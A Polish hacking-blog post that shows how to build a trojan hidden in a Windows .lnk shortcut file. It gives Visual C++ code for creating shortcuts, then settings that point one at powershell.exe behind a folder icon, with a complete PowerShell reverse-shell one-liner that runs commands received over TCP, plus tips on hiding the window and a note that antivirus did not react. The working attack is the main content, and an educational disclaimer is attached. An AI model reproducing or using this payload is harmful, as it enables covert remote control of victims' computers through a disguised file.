vx7.pl - hacking / coding / vx | Poland |

 Koń trojański w pliku skrótu (.lnk)

Napisane  03 lutego 2018 godz. 21:59 przez  Dawid_vx7

1. Skróty do plików w systemie Windows®

Plik skrótu w systemie Windows® posiada rozszerzenie .lnk. Jest on odwołaniem do pliku lub folderu. Podwójne kliknięcie (domyślny sposób otwierania plików) na skrót powoduje uruchomienie programu lub otwarcie pliku/folderu na który on wskazuje. Skróty .lnk w systemie Windows® posiadają informacje o rodzaju elementu docelowego, lokalizacji, nazwie pliku czy kombinacji klawiszy do uruchomienia elementu na który wskazuje skrót. System Windows® nie wyświetla domyślnie rozszerzenia skrótu, nawet, gdy w Opcje folderów ustawione jest pokazywanie rozszerzeń plików.

2. Tworzenie skrótów .lnk za pomocą Visual C++

Pole tekstowe w przypadku, gdy tworzy się plik skrótu .lnk za pomocą interfejsu systemowego jest ograniczone do 260 znaków. Natomiast, jeśli wykona się to za pomocą kodu (np. w Visual C++), to możliwe jest wstawienie dłuższego ciągu znaków. Tworzenie pliku .lnk za pomocą funkcji WinAPI w technologii Visual C++ przedstawiono na listingu 2.1.

Listing 2.1. Tworzenie pliku skrótu .lnk — kod źródłowy w Visual C++
#include <Windows.h>
#include <Shobjidl.h>
#include <shlguid.h>
#include <stdio.h>

int wmain(int argc, wchar_t *argv[], wchar_t *envp[])
{
HRESULT hres;
IShellLink* psl;

if (CoInitialize(NULL) != S_OK)
{
wprintf(TEXT("Funkcja CoInitialize() nie powiodła się."));
return EXIT_FAILURE;
}

// Pobierz wskaźnik do interfejsu IShellLink
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);

if (FAILED(hres))
{
wprintf(TEXT("Funkcja CoCreateInstance() nie powiodła się."));
return EXIT_FAILURE;
}

IPersistFile* ppf;

// Ustaw ścieżkę do elementu docelowego
// Ustaw ikonę skrótu
// Ustaw argumenty wywołania elementu docelowego
psl->SetPath(TEXT("%SystemRoot%\\notepad.exe"));
psl->SetIconLocation(TEXT("%SystemRoot%\\System32\\Shell32.dll"), 4);
//psl->SetArguments(TEXT("-test"));

// Pobierz wskaźnik do interfejsu IPersistFile
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);

if (FAILED(hres))
{
wprintf(TEXT("Funkcja QueryInterface() nie powiodła się."));
return EXIT_FAILURE;
}

// Zapisz plik skrótu wywołując IPersistFile::Save
hres = ppf->Save(L"C:\\Users\\Dawid\\Desktop\\test.lnk", TRUE);
ppf->Release();

psl->Release();

wprintf(TEXT("http://vx7.pl/"));

#if _DEBUG
system("pause>nul");
#endif

return EXIT_SUCCESS;
}


3. To nie skrót do pliku trojana — to trojan w pliku skrótu

Oto lista niektórych cech, które posiada tego typu malware:

  • Przetestowałem i działa na Microsoft® Windows® [Version 10.0.16299.192]
  • Mój antywirus nie zareagował
  • Plik ma rozszerzenie .lnk i jest skrótem
  • Zamiast zdalnego Wiersza polecenia można tam osadzić dowolny kod PowerShell
  • Można ustawić dowolną ikonę
Na listingu poniżej (3.1) przedstawiono jakie wartości powinny mieć pola "Ścieżka", "Ikona" oraz "Argumenty".

Listing 3.1. Właściwości skrótu .lnk z wbudowanym koniem trojańskim (Visual C++)
// Ustaw ścieżkę do elementu docelowego
// Ustaw ikonę skrótu
// Ustaw argumenty wywołania elementu docelowego
psl->SetPath(TEXT("%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"));
psl->SetIconLocation(TEXT("%SystemRoot%\\System32\\Shell32.dll"), 4); //Ikona numer 4 to ikona folderu
// Poniżej kod zdalnego wiersza polecenia
// Jeśli chcesz ukryć okno użyj:
// -windowstyle hidden
// przed opcją /c
// czyli: -windowstyle hidden /c
psl->SetArguments(TEXT("/c while(1){$client = New-Object System.Net.Sockets.TCPClient(\"\"\"127.0.0.1\"\"\",11000);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$invokeoutput = (iex $data 2>&1 | Out-String );$response = $invokeoutput + \"\"\"PS \"\"\" + (pwd).Path + \"\"\"> \"\"\";$responsebytes = ([text.encoding]::ASCII).GetBytes($response);$stream.Write($responsebytes,0,$responsebytes.Length);$stream.Flush()};}"));


Wstawiany do skrótu .lnk kod zdalnego Wiersza polecenia może rzucać wyjątkami, ale nie wpływają one na działanie skryptu. Na obsługę wyjątków szkoda miejsca ;)

Tagi:  hacking  VX 


Wszystkie treści, kody źródłowe i programy umieszczone na portalu vx7.pl są chronione prawem autorskim. Surowo zabronione jest kopiowanie i rozpowszechnianie zawartości tej witryny bez zgody autora. Wszelkie materiały opublikowane na portalu vx7.pl służą jedynie celom edukacyjnym. Autorzy portalu vx7.pl i materiałów umieszczanych na nim nie biorą odpowiedzialności za niewłaściwe wykorzystanie udostępnionych zasobów. Nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania zasobów zawartych w witrynie. Osoby zarządzające portalem vx7.pl zastrzegają sobie prawo do usunięcia wpisów opublikowanych przez użytkowników bez podania przyczyny. Wszelkie znaki towarowe i nazwy zastrzeżone zostały użyte jedynie w celach informacyjnych i należą wyłącznie do ich prawnych właścicieli. Korzystając z zasobów portalu vx7.pl oświadczasz, że akceptujesz powyższe warunki.